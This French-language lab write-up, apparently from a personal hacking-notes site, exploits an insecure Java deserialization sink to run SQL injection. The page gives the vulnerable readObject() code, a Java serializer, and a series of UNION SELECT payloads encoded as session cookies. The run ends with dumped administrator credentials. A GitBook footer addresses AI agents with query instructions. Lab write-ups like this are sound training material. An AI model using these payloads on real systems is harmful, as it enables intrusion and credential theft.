> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md). # Développement d'une chaîne de gadgets personnalisée pour la désérialisation Java ### Développement d'une chaîne de gadgets personnalisée pour la désérialisation Java **Objectif du labo** Ce laboratoire est basé sur un mécanisme de session utilisant la sérialisation Java. En construisant une \*\*chaîne de gadgets personnalisée\*\*, il est possible d'exploiter une désérialisation non sécurisée afin de **récupérer le mot de passe de l'administrateur**, puis se connecter avec ce compte et supprimer l'utilisateur **carlos**. Identifiant fourni : * Utilisateur : `wiener` * Mot de passe : `peter` \*\* Analyse initiale de la session\*\* Le cookie de session observé est encodé en Base64 : {% code overflow="wrap" %} ```bash rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d ``` {% endcode %} Après décodage, une \*\*sérialisation Java\*\* est clairement identifiée, ce qui confirme l'utilisation de `ObjectInputStream` côté serveur. {% code overflow="wrap" %} ```bash echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo ``` {% endcode %}
**Accès au code source** Un commentaire HTML fournit un lien vers une sauvegarde du code source Java : ```html ```
Contenu du `AccessTokenUser.java` fichier : * Classe sérialisable * Deux attributs : `le nom d'utilisateur` et `accessToken` * Aucun comportement dangereux exploitable directement ```java package data.session.token; import java.io.Serializable; public class AccessTokenUser implements Serializable { private final String username; private final String accessToken; public AccessTokenUser(String username, String accessToken) { this.username = username; this.accessToken = accessToken; } public String getUsername() { return username; } public String getAccessToken() { return accessToken; } } ``` Dans le `/backup` dossier, un autre fichier attire l'attention : **`ProductTemplate.java`**.
**Classe vulnérable : ProductTemplate** Le `ProductTemplate` implémente `Serializable` et redéfinit la `readObject()` méthode. Points critiques : * Le `readObject()` La méthode est exécutée automatiquement lors de la désérialisation * Une requête SQL est construite dynamiquement avec `String.format` * Le `id` le paramètre est injecté directement dans la requête sans validation ```java String sql = String.format( "SELECT * FROM products WHERE id = '%s' LIMIT 1", id ); ``` ```java package data.productcatalog; import common.db.JdbcConnectionBuilder; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from( "org.postgresql.Driver", "postgresql", "localhost", 5432, "postgres", "postgres", "password" ).withAutoCommit(); try { Connection connect = connectionBuilder.connect(30); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); Statement statement = connect.createStatement(); ResultSet resultSet = statement.executeQuery(sql); if (!resultSet.next()) { return; } product = Product.from(resultSet); } catch (SQLException e) { throw new IOException(e); } } public String getId() { return id; } public Product getProduct() { return product; } } ``` **Construction de la charge utile Java** Pour générer un objet sérialisé valide, un projet Java local est créé : Structure minimale : ```bash data/ └── productcatalog/ ├── ProductTemplate.java └── Product.java Main.java ``` Les classes sont volontairement simplifiées pour ne permettre que **la sérialisation**, sans logique interne. ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("your-payload-here"); String serializedObject = serialize(originalObject); System.out.println("Objet sérialisé : " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID de l'objet désérialisé : " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` **Génération du cookie malveillant** Dans `Main.java`, un `ProductTemplate` objet est caractérisé par une valeur contrôlée pour `id`, puis sérialisé et encodé en Base64. ```java // Toute la logique a été supprimée de ProductTemplate car elle n'est pas nécessaire pour la sérialisation package data.productcatalog; import java.io.Serializable; public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } public String getId() { return id; } } ``` ```bash nvim data/productcatalog/Product.java ``` ```java // Cette classe a été ajoutée juste pour que ProductTemplate puisse compiler correctement package data.productcatalog; class Product {} ``` Premier test avec une simple apostrophe : ```java ProductTemplate originalObject = new ProductTemplate("'"); ``` ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("'"); String serializedObject = serialize(originalObject); System.out.println("Objet sérialisé : " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID de l'objet désérialisé : " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` Le serveur renvoie une erreur SQL, ce qui confirme l'injection. ```bash javac Main.java java Main ```
```http rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc= ```
**Exploitation de l'injection SQL** 1. **Détermination du nombre de colonnes**/ → 8 colonnes identifiées ```java ProductTemplate originalObject = new ProductTemplate("' order by 8-- -"); ``` ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0= ```
**Test UNION SELECT**/ → La quatrième colonne est utilisable {% code overflow="wrap" %} ```bash ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - "; ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0 ``` * **Résumé des tables** * Table identifiée : `users` {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -"); ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0= ```
{% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -"); ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt ```
**Énumération des colonnes** * `le nom d'utilisateur` * `mot de passe` * `email` {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -"); ``` {% endcode %}
1. **Extraction des identifiants** {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -"); ``` {% endcode %}
Charge utile finale injectée dans l'objet sérialisé : ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -"); String serializedObject = serialize(originalObject); System.out.println("Objet sérialisé : " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID de l'objet désérialisé : " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` **Résultat obtenu** Après l'envoi du cookie sérialisé, la réponse du serveur révèle les identifiants : ```wit administrator:sa47nyh8ebw4q0h7dvhn wiener:peter carlos:ig1e9avhmums5iac8rwa ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.